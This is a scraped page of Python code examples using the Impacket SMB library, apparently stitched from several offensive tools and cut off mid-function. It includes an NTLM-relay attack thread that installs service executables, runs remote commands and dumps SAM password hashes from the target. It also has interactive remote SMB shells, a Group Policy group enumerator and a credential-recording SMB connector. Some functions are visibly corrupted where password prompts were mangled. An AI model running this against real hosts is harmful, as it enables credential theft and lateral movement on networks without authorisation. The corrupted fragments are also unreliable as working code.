                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print(self.__answerTMP.decode(self.config.encoding, 'replace'))
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception as e:
                LOG.error(str(e))
            finally:
                if samHashes is not None:
                    samHashes.finish()
                if remoteOps is not None:
                    remoteOps.finish()
Пример #19
0
class SMBAttack(Thread):
    def __init__(self, config, SMBClient, username):
        Thread.__init__(self)
        self.daemon = True
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.config = config
        self.__answerTMP = ""
        if self.config.interactive:
            # Launch locally listening interactive shell
            self.tcpshell = TcpShell()
        else:
            self.tcpshell = None
            if self.config.exeFile is not None:
                self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            logging.info("Started interactive SMB client shell via TCP on 127.0.0.1:%d" % self.tcpshell.port)
            # Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes

            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something wen't wrong, most probably we don't have access as admin. aborting
                logging.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ""
                    self.__SMBConnection.getFile("ADMIN$", "Temp\\__output", self.__answer)
                    self.__SMBConnection.deleteFile("ADMIN$", "Temp\\__output")
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost() + "_samhashes")
                    logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
            finally:
Пример #20
0
    def _get_groupsxml(self, groupsxml_path, gpo_display_name):
        gpo_groups = list()

        content_io = BytesIO()

        groupsxml_path_split = groupsxml_path.split('\\')
        gpo_name = groupsxml_path_split[6]
        target = self._domain_controller
        share = groupsxml_path_split[3]
        file_name = '\\'.join(groupsxml_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        if self._do_kerberos:
            smb_connection.kerberosLogin(self._user, self._password,
                                         self._domain, self._lmhash,
                                         self._nthash)
        else:
            smb_connection.login(self._user, self._password, self._domain,
                                 self._lmhash, self._nthash)

        self._logger.debug('Get File: Share = {0}, file_name ={1}'.format(
            share, file_name))
        smb_connection.connectTree(share)
        try:
            smb_connection.getFile(share, file_name, content_io.write)
        except SessionError:
            self._logger.warning(
                'Error while getting the file {}, skipping...'.format(
                    file_name))
            return list()

        content = content_io.getvalue().replace(b'\r', b'')
        groupsxml_soup = BeautifulSoup(content.decode('utf-8'), 'xml')
        for group in groupsxml_soup.find_all('Group'):
            members = list()
            memberof = list()

            raw_xml_member = group.Properties.find_all('Member')
            if not raw_xml_member:
                continue

            local_sid = group.Properties.get('groupSid', str())

            if not local_sid:
                if 'administrators' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-544'
                elif 'remote desktop' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-555'
                else:
                    local_sid = group.Properties['groupName']
            memberof.append(local_sid)

            for member in raw_xml_member:
                if not member['action'].lower() == 'add':
                    continue
                if member['sid']:
                    members.append(member['sid'])
                else:
                    members.append(member['name'])

            if members or memberof:
                # TODO: implement filter support (seems like a pain in the ass,
                # I'll do it if the feature is asked). PowerView also seems to
                # have the barest support for filters, so ¯\_(ツ)_/¯

                gpo_group = GPOGroup(list())
                gpo_group._attributes_dict['gpodisplayname'] = gpo_display_name
                gpo_group._attributes_dict['gponame'] = gpo_name
                gpo_group._attributes_dict['gpopath'] = groupsxml_path
                gpo_group._attributes_dict['members'] = members
                gpo_group._attributes_dict['memberof'] = memberof

                gpo_groups.append(gpo_group)

        return gpo_groups
Пример #21
0
class RemoteShell(cmd.Cmd):
    def __init__(self, server, port, credentials, tid, fid, share, transport):
        cmd.Cmd.__init__(self, False)
        self.prompt = '\x08'
        self.server = server
        self.transferClient = None
        self.tid = tid
        self.fid = fid
        self.credentials = credentials
        self.share = share
        self.port = port
        self.transport = transport
        self.intro = '[!] Press help for extra shell commands'

    def connect_transferClient(self):
        #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
        self.transferClient = SMBConnection('*SMBSERVER',
                                            self.server.getRemoteHost(),
                                            sess_port=self.port,
                                            preferredDialect=dialect)
        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
        if self.transport.get_kerberos() is True:
            self.transferClient.kerberosLogin(
                user,
                passwd,
                domain,
                lm,
                nt,
                aesKey,
                kdcHost=self.transport.get_kdcHost(),
                TGT=TGT,
                TGS=TGS)
        else:
            self.transferClient.login(user, passwd, domain, lm, nt)

    def do_help(self, line):
        print("""
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
 get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir
 ! {cmd}                    - executes a local shell cmd
""" % (self.share, self.share))
        self.send_data('\r\n', False)

    def do_shell(self, s):
        os.system(s)
        self.send_data('\r\n')

    def do_get(self, src_path):
        try:
            if self.transferClient is None:
                self.connect_transferClient()

            import ntpath
            filename = ntpath.basename(src_path)
            fh = open(filename, 'wb')
            logging.info("Downloading %s\\%s" % (self.share, src_path))
            self.transferClient.getFile(self.share, src_path, fh.write)
            fh.close()
        except Exception as e:
            logging.critical(str(e))
            pass

        self.send_data('\r\n')

    def do_put(self, s):
        try:
            if self.transferClient is None:
                self.connect_transferClient()
            params = s.split(' ')
            if len(params) > 1:
                src_path = params[0]
                dst_path = params[1]
            elif len(params) == 1:
                src_path = params[0]
                dst_path = '/'

            src_file = os.path.basename(src_path)
            fh = open(src_path, 'rb')
            f = dst_path + '/' + src_file
            pathname = f.replace('/', '\\')
            logging.info("Uploading %s to %s\\%s" %
                         (src_file, self.share, dst_path))
            if PY3:
                self.transferClient.putFile(self.share, pathname, fh.read)
            else:
                self.transferClient.putFile(
                    self.share, pathname.decode(sys.stdin.encoding), fh.read)
            fh.close()
        except Exception as e:
            logging.error(str(e))
            pass

        self.send_data('\r\n')

    def do_lcd(self, s):
        if s == '':
            print(os.getcwd())
        else:
            os.chdir(s)
        self.send_data('\r\n')

    def emptyline(self):
        self.send_data('\r\n')
        return

    def default(self, line):
        if PY3:
            self.send_data(line.encode('cp437') + b'\r\n')
        else:
            self.send_data(
                line.decode(sys.stdin.encoding).encode('cp437') + '\r\n')

    def send_data(self, data, hideOutput=True):
        if hideOutput is True:
            global LastDataSent
            LastDataSent = data
        else:
            LastDataSent = ''
        self.server.writeFile(self.tid, self.fid, data)
Пример #22
0
class ImpacketConnection:
    class Options:
        def __init__(self,
                     hostname="",
                     domain_name="",
                     username="",
                     password="",
                     lmhash="",
                     nthash="",
                     kerberos=False,
                     aesKey="",
                     dc_ip=None,
                     timeout=5):
            self.hostname = hostname
            self.domain_name = domain_name
            self.username = username
            self.password = password
            self.lmhash = lmhash
            self.nthash = nthash
            self.timeout = timeout
            self.kerberos = kerberos
            self.aesKey = aesKey
            self.dc_ip = dc_ip

    def __init__(self, options: Options):
        self.options = options
        self.hostname = options.hostname
        self.domain_name = options.domain_name
        self.username = options.username
        self.password = options.password
        self.lmhash = options.lmhash
        self.nthash = options.nthash
        self.kerberos = options.kerberos
        self.aesKey = options.aesKey
        self.dc_ip = options.dc_ip
        self.timeout = options.timeout
        self._log = Logger(self.hostname)
        self._conn = None

    def get_logger(self):
        return self._log

    def set_logger(self, logger):
        self._log = logger

    def login(self):
        try:
            ip = list({
                addr[-1][0]
                for addr in getaddrinfo(self.hostname, 0, 0, 0, 0)
            })[0]
            if ip != self.hostname:
                self._log.debug("Host {} resolved to {}".format(
                    self.hostname, ip))
        except gaierror as e:
            return RetCode(ERROR_DNS_ERROR, e)

        try:
            self._conn = SMBConnection(self.hostname, ip, timeout=self.timeout)
        except Exception as e:
            return RetCode(ERROR_CONNECTION_ERROR, e)

        username = ''
        if not self.kerberos:
            username = self.username.split("@")[0]
            self._log.debug("Authenticating against {}".format(ip))
        else:
            self._log.debug("Authenticating against {}".format(self.hostname))

        try:
            if not self.kerberos:
                self._conn.login(username,
                                 self.password,
                                 domain=self.domain_name,
                                 lmhash=self.lmhash,
                                 nthash=self.nthash,
                                 ntlmFallback=True)
            else:
                self._conn.kerberosLogin(username,
                                         self.password,
                                         domain=self.domain_name,
                                         lmhash=self.lmhash,
                                         nthash=self.nthash,
                                         aesKey=self.aesKey,
                                         kdcHost=self.dc_ip)

        except SessionError as e:
            self._log.debug("Provided credentials : {}\\{}:{}".format(
                self.domain_name, username, self.password))
            return RetCode(ERROR_LOGIN_FAILURE, e)
        except KerberosException as e:
            self._log.debug("Kerberos error")
            return RetCode(ERROR_LOGIN_FAILURE, e)
        except Exception as e:
            return RetCode(ERROR_UNDEFINED, e)
        return RetCode(ERROR_SUCCESS)

    def connectTree(self, share_name):
        return self._conn.connectTree(share_name)

    def openFile(self, tid, fpath, timeout: int = 3):
        self._log.debug("Opening file {}".format(fpath))

        start = time.time()

        while True:
            try:
                fid = self._conn.openFile(tid,
                                          fpath,
                                          desiredAccess=FILE_READ_DATA)
                self._log.debug("File {} opened".format(fpath))
                return fid
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0 or str(e).find(
                        'STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
                    # Output not finished, let's wait
                    if time.time() - start > timeout:
                        raise (Exception(e))
                    time.sleep(1)
                else:
                    raise Exception(e)

    def queryInfo(self, tid, fid):
        while True:
            try:
                info = self._conn.queryInfo(tid, fid)
                return info
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def getFile(self, share_name, path_name, callback):
        while True:
            try:
                self._conn.getFile(share_name, path_name, callback)
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def deleteFile(self, share_name, path_name):
        while True:
            try:
                self._conn.deleteFile(share_name, path_name)
                self._log.debug("File {} deleted".format(path_name))
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    time.sleep(2)
                else:
                    raise Exception(e)

    def putFile(self, share_name, path_name, callback):
        try:
            self._conn.putFile(share_name, path_name, callback)
            self._log.debug("File {} uploaded".format(path_name))
        except Exception as e:
            raise Exception(
                "An error occured while uploading %s on %s share : %s" %
                (path_name, share_name, e))

    def readFile(self, tid, fid, offset, size):
        return self._conn.readFile(tid, fid, offset, size, singleCall=False)

    def closeFile(self, tid, fid):
        return self._conn.closeFile(tid, fid)

    def disconnectTree(self, tid):
        return self._conn.disconnectTree(tid)

    def isadmin(self):
        try:
            self.connectTree("C$")
            return RetCode(ERROR_SUCCESS)
        except Exception as e:
            return RetCode(ERROR_ACCESS_DENIED, e)

    def close(self):
        if self._conn is not None:
            self._log.debug("Closing Impacket connection")
            self._conn.close()

    def clean(self):
        try:
            self.close()
            return RetCode(ERROR_SUCCESS)
        except Exception as e:
            return RetCode(ERROR_CONNECTION_CLEANING, e)
Пример #23
0
class MiniImpacketShell(cmd.Cmd):
    def __init__(self, smbClient, tcpShell=None):
        #If the tcpShell parameter is passed (used in ntlmrelayx),
        # all input and output is redirected to a tcp socket
        # instead of to stdin / stdout
        if tcpShell is not None:
            cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout)
            sys.stdout = tcpShell.stdout
            sys.stdin = tcpShell.stdin
            sys.stderr = tcpShell.stdout
            self.use_rawinput = False
            self.shell = tcpShell
        else:
            cmd.Cmd.__init__(self)
            self.shell = None

        self.prompt = '# '
        self.smb = smbClient
        self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials()
        self.tid = None
        self.intro = 'Type help for list of commands'
        self.pwd = ''
        self.share = None
        self.loggedIn = True
        self.last_output = None
        self.completion = []

    def emptyline(self):
        pass

    def precmd(self, line):
        # switch to unicode
        return line

    def onecmd(self,s):
        retVal = False
        try:
           retVal = cmd.Cmd.onecmd(self,s)
        except Exception as e:
           LOG.error(e)
           LOG.debug('Exception info', exc_info=True)

        return retVal

    def do_exit(self,line):
        if self.shell is not None:
            self.shell.close()
        return True

    def do_shell(self, line):
        output = os.popen(line).read()
        print(output)
        self.last_output = output

    def do_help(self,line):
        print("""
 open {host,port=445} - opens a SMB connection against the target host/port
 login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
 kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
 login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
 logoff - logs off
 shares - list available shares
 use {sharename} - connect to an specific share
 cd {path} - changes the current directory to {path}
 lcd {path} - changes the current local directory to {path}
 pwd - shows current remote directory
 password - changes the user password, the new password will be prompted for input
 ls {wildcard} - lists all the files in the current directory
 rm {file} - removes the selected file
 mkdir {dirname} - creates the directory under the current path
 rmdir {dirname} - removes the directory under the current path
 put {filename} - uploads the filename into the current path
 get {filename} - downloads the filename from the current path
 mget {mask} - downloads all files from the current directory matching the provided mask
 cat {filename} - reads the filename from the current path
 mount {target,path} - creates a mount point from {path} to {target} (admin required)
 umount {path} - removes the mount point at {path} without deleting the directory (admin required)
 list_snapshots {path} - lists the vss snapshots for the specified path
 info - returns NetrServerInfo main results
 who - returns the sessions currently connected at the target host (admin required)
 close - closes the current SMB Session
 exit - terminates the server process (and this session)

""")

    def do_password(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        from getpass import getpass
        newPassword = getpass("New Password:"******"SMBv1 dialect used")
        elif dialect == SMB2_DIALECT_002:
            LOG.info("SMBv2.0 dialect used")
        elif dialect == SMB2_DIALECT_21:
            LOG.info("SMBv2.1 dialect used")
        else:
            LOG.info("SMBv3.0 dialect used")

        self.share = None
        self.tid = None
        self.pwd = ''
        self.loggedIn = False
        self.password = None
        self.lmhash = None
        self.nthash = None
        self.username = None

    def do_login(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        username = ''
        password = ''
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           password = l[1]

        if username.find('/') > 0:
           domain, username = username.split('/')

        if password == '' and username != '':
            from getpass import getpass
            password = getpass("Password:"******"GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_kerberos_login(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        username = ''
        password = ''
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           password = l[1]

        if username.find('/') > 0:
           domain, username = username.split('/')

        if domain == '':
            LOG.error("Domain must be specified for Kerberos login")
            return

        if password == '' and username != '':
            from getpass import getpass
            password = getpass("Password:"******"GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_login_hash(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           hashes = l[1]
        else:
           LOG.error("Hashes needed. Format is lmhash:nthash")
           return

        if username.find('/') > 0:
           domain, username = username.split('/')

        lmhash, nthash = hashes.split(':')

        self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash)
        self.username = username
        self.lmhash = lmhash
        self.nthash = nthash

        if self.smb.isGuestSession() > 0:
            LOG.info("GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_logoff(self, line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        self.smb.logoff()
        del self.smb
        self.share = None
        self.smb = None
        self.tid = None
        self.pwd = ''
        self.loggedIn = False
        self.password = None
        self.lmhash = None
        self.nthash = None
        self.username = None

    def do_info(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrServerGetInfo(dce, 102)

        print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
        print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
        print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
        print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
        print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
        print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])

    def do_who(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)

        for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
            print("host: %15s, user: %5s, active: %5d, idle: %5d" % (
            session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
            session['sesi10_idle_time']))

    def do_shares(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        resp = self.smb.listShares()
        for i in range(len(resp)):
            print(resp[i]['shi1_netname'][:-1])

    def do_use(self,line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        self.share = line
        self.tid = self.smb.connectTree(line)
        self.pwd = '\\'
        self.do_ls('', False)

    def complete_cd(self, text, line, begidx, endidx):
        return self.complete_get(text, line, begidx, endidx, include = 2)

    def do_cd(self, line):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = line.replace('/','\\')
        oldpwd = self.pwd
        if p[0] == '\\':
           self.pwd = line
        else:
           self.pwd = ntpath.join(self.pwd, line)
        self.pwd = ntpath.normpath(self.pwd)
        # Let's try to open the directory to see if it's valid
        try:
            fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE, desiredAccess = FILE_READ_DATA |
                                   FILE_LIST_DIRECTORY, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE )
            self.smb.closeFile(self.tid,fid)
        except SessionError:
            self.pwd = oldpwd
            raise

    def do_lcd(self, s):
        print(s)
        if s == '':
           print(os.getcwd())
        else:
           os.chdir(s)

    def do_pwd(self,line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        print(self.pwd)

    def do_ls(self, wildcard, display = True):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        if self.tid is None:
            LOG.error("No share selected")
            return
        if wildcard == '':
           pwd = ntpath.join(self.pwd,'*')
        else:
           pwd = ntpath.join(self.pwd, wildcard)
        self.completion = []
        pwd = pwd.replace('/','\\')
        pwd = ntpath.normpath(pwd)
        for f in self.smb.listPath(self.share, pwd):
            if display is True:
                print("%crw-rw-rw- %10d  %s %s" % (
                'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())),
                f.get_longname()))
            self.completion.append((f.get_longname(), f.is_directory()))


    def do_rm(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        f = ntpath.join(self.pwd, filename)
        file = f.replace('/','\\')
        self.smb.deleteFile(self.share, file)

    def do_mkdir(self, path):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = ntpath.join(self.pwd, path)
        pathname = p.replace('/','\\')
        self.smb.createDirectory(self.share,pathname)

    def do_rmdir(self, path):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = ntpath.join(self.pwd, path)
        pathname = p.replace('/','\\')
        self.smb.deleteDirectory(self.share, pathname)

    def do_put(self, pathname):
        if self.tid is None:
            LOG.error("No share selected")
            return
        src_path = pathname
        dst_name = os.path.basename(src_path)

        fh = open(pathname, 'rb')
        f = ntpath.join(self.pwd,dst_name)
        finalpath = f.replace('/','\\')
        self.smb.putFile(self.share, finalpath, fh.read)
        fh.close()

    def complete_get(self, text, line, begidx, endidx, include = 1):
        # include means
        # 1 just files
        # 2 just directories
        p = line.replace('/','\\')
        if p.find('\\') < 0:
            items = []
            if include == 1:
                mask = 0
            else:
                mask = 0x010
            for i in self.completion:
                if i[1] == mask:
                    items.append(i[0])
            if text:
                return  [
                    item for item in items
                    if item.upper().startswith(text.upper())
                ]
            else:
                return items

    def do_mget(self, mask):
        if mask == '':
            LOG.error("A mask must be provided")
            return
        if self.tid is None:
            LOG.error("No share selected")
            return
        self.do_ls(mask,display=False)
        if len(self.completion) == 0:
            LOG.error("No files found matching the provided mask")
            return
        for file_tuple in self.completion:
            if file_tuple[1] == 0:
                filename = file_tuple[0]
                filename = filename.replace('/', '\\')
                fh = open(ntpath.basename(filename), 'wb')
                pathname = ntpath.join(self.pwd, filename)
                try:
                    LOG.info("Downloading %s" % (filename))
                    self.smb.getFile(self.share, pathname, fh.write)
                except:
                    fh.close()
                    os.remove(filename)
                    raise
                fh.close()

    def do_get(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        filename = filename.replace('/','\\')
        fh = open(ntpath.basename(filename),'wb')
        pathname = ntpath.join(self.pwd,filename)
        try:
            self.smb.getFile(self.share, pathname, fh.write)
        except:
            fh.close()
            os.remove(filename)
            raise
        fh.close()

    def do_cat(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        filename = filename.replace('/','\\')
        fh = BytesIO()
        pathname = ntpath.join(self.pwd,filename)
        try:
            self.smb.getFile(self.share, pathname, fh.write)
        except:
            raise
        output = fh.getvalue()
        encoding = ""  # chardet.detect(output)["encoding"]
        error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?"
        if encoding:
            try:
                print(output.decode(encoding))
            except:
                print(error_msg)
            finally:
                fh.close()
        else:
            print(error_msg)
            fh.close()

    def do_close(self, line):
        self.do_logoff(line)

    def do_list_snapshots(self, line):
        l = line.split(' ')
        if len(l) > 0:
            pathName= l[0].replace('/','\\')

        # Relative or absolute path?
        if pathName.startswith('\\') is not True:
            pathName = ntpath.join(self.pwd, pathName)

        snapshotList = self.smb.listSnapshots(self.tid, pathName)

        if not snapshotList:
            print("No snapshots found")
            return

        for timestamp in snapshotList:
            print(timestamp)

    def do_mount(self, line):
        l = line.split(' ')
        if len(l) > 1:
            target  = l[0].replace('/','\\')
            pathName= l[1].replace('/','\\')

        # Relative or absolute path?
        if pathName.startswith('\\') is not True:
            pathName = ntpath.join(self.pwd, pathName)

        self.smb.createMountPoint(self.tid, pathName, target)

    def do_umount(self, mountpoint):
        mountpoint = mountpoint.replace('/','\\')

        # Relative or absolute path?
        if mountpoint.startswith('\\') is not True:
            mountpoint = ntpath.join(self.pwd, mountpoint)

        mountPath = ntpath.join(self.pwd, mountpoint)

        self.smb.removeMountPoint(self.tid, mountPath)

    def do_EOF(self, line):
        print('Bye!\n')
        return True
Пример #24
0
    def _get_groupsxml(self, groupsxml_path, gpo_display_name):
        gpo_groups = list()

        content_io = StringIO()

        groupsxml_path_split = groupsxml_path.split('\\')
        gpo_name = groupsxml_path_split[6]
        target = self._domain_controller
        share = groupsxml_path_split[3]
        file_name = '\\'.join(groupsxml_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        # TODO: kerberos login
        smb_connection.login(self._user, self._password, self._domain,
                             self._lmhash, self._nthash)

        smb_connection.connectTree(share)
        try:
            smb_connection.getFile(share, file_name, content_io.write)
        except SessionError:
            return list()

        content = content_io.getvalue().replace('\r', '')
        groupsxml_soup = BeautifulSoup(content, 'xml')

        for group in groupsxml_soup.find_all('Group'):
            members = list()
            memberof = list()
            local_sid = group.Properties.get('groupSid', str())
            if not local_sid:
                if 'administrators' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-544'
                elif 'remote desktop' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-555'
                else:
                    local_sid = group.Properties['groupName']
            memberof.append(local_sid)

            for member in group.Properties.find_all('Member'):
                if not member['action'].lower() == 'add':
                    continue
                if member['sid']:
                    members.append(member['sid'])
                else:
                    members.append(member['name'])

            if members or memberof:
                # TODO: implement filter support (seems like a pain in the ass,
                # I'll do it if the feature is asked). PowerView also seems to
                # have the barest support for filters, so ¯\_(ツ)_/¯

                gpo_group = GPOGroup(list())
                setattr(gpo_group, 'gpodisplayname', gpo_display_name)
                setattr(gpo_group, 'gponame', gpo_name)
                setattr(gpo_group, 'gpopath', groupsxml_path)
                setattr(gpo_group, 'members', members)
                setattr(gpo_group, 'memberof', memberof)

                gpo_groups.append(gpo_group)

        return gpo_groups
Пример #25
0
class SmbCon(Connector):
    def __init__(self, args, loggers, host, db):
        Connector.__init__(self, args, loggers, host)
        self.auth = False
        self.con = False
        self.client = ''.join(
            [choice(ascii_letters + digits) for x in range(7)])
        self.smbv1 = False
        self.os = ''
        self.admin = False
        self.signing = False
        self.os_arch = '0'
        self.remote_ops = None
        self.bootkey = None
        self.db = db
        self.port = 445

    #########################
    # Session Management
    #########################
    def create_smb_con(self):
        # Create SMB Con
        if self.smb_connection():
            self.host_info()
            try:
                # SMB Auth
                self.con.login(self.username,
                               self.password,
                               self.domain,
                               lmhash=self.lmhash,
                               nthash=self.nthash)
                self.auth = True
                self.host_info()
                self.isAdmin()
                self.update_db()
            except Exception as e:
                raise Exception(str(e))
        else:
            raise Exception('Connection to Server Failed')

    def update_db(self):
        self.db.update_host(self.host, self.ip, self.domain, self.os,
                            self.signing)
        if self.username and self.password or self.username and self.hash:
            self.db.update_user(self.username, self.password, self.domain,
                                self.hash)
            if self.admin:
                self.db.update_admin(self.username, self.domain, self.host)

    def logoff(self):
        self.con.logoff()

    def close(self):
        try:
            self.con.logoff()
        except:
            pass

        try:
            self.con.close()
        except:
            pass

    #########################
    # SMB Connection
    #########################
    def smb_connection(self):
        if self.smbv1_con():
            return True
        elif self.smbv3_con():
            return True
        return False

    def smbv1_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     preferredDialect=SMB_DIALECT,
                                     timeout=int(self.timeout))
            self.smbv1 = True
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    def smbv3_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     timeout=int(self.timeout))
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    #########################
    # Authentication (NOT IN USE)
    #########################
    def set_host(self, local_auth):
        # Get domain for authentication purposes
        if local_auth:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()
        else:
            self.domain = self.con.getServerDNSDomainName()
        # Backup for Linux/Unix systems
        if not self.domain:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()

    ################################
    # Enumerate Host information
    ################################
    def host_info(self):
        try:
            self.srvdomain = self.get_domain()
            self.host = self.get_hostname()
            self.os = self.con.getServerOS()
            self.signing = self.con.isSigningRequired()

            arch = self.get_os_arch()
            if arch == 32 or arch == 64:
                self.os_arch = " x{}".format(str(arch))
            else:
                self.os_arch = ''
        except Exception as e:
            self.logger.debug("SMB Host Info: {}".format(str(e)))

    def get_os_arch(self):
        # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
        # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(5)
            dce = transport.get_dce_rpc()
            dce.connect()
            try:
                dce.bind(
                    MSRPC_UUID_PORTMAP,
                    transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36',
                                     '1.0'))
            except DCERPCException as e:
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64
        except:
            return 0

    def get_hostname(self):
        if self.con.getServerDNSDomainName() and not self.local_auth:
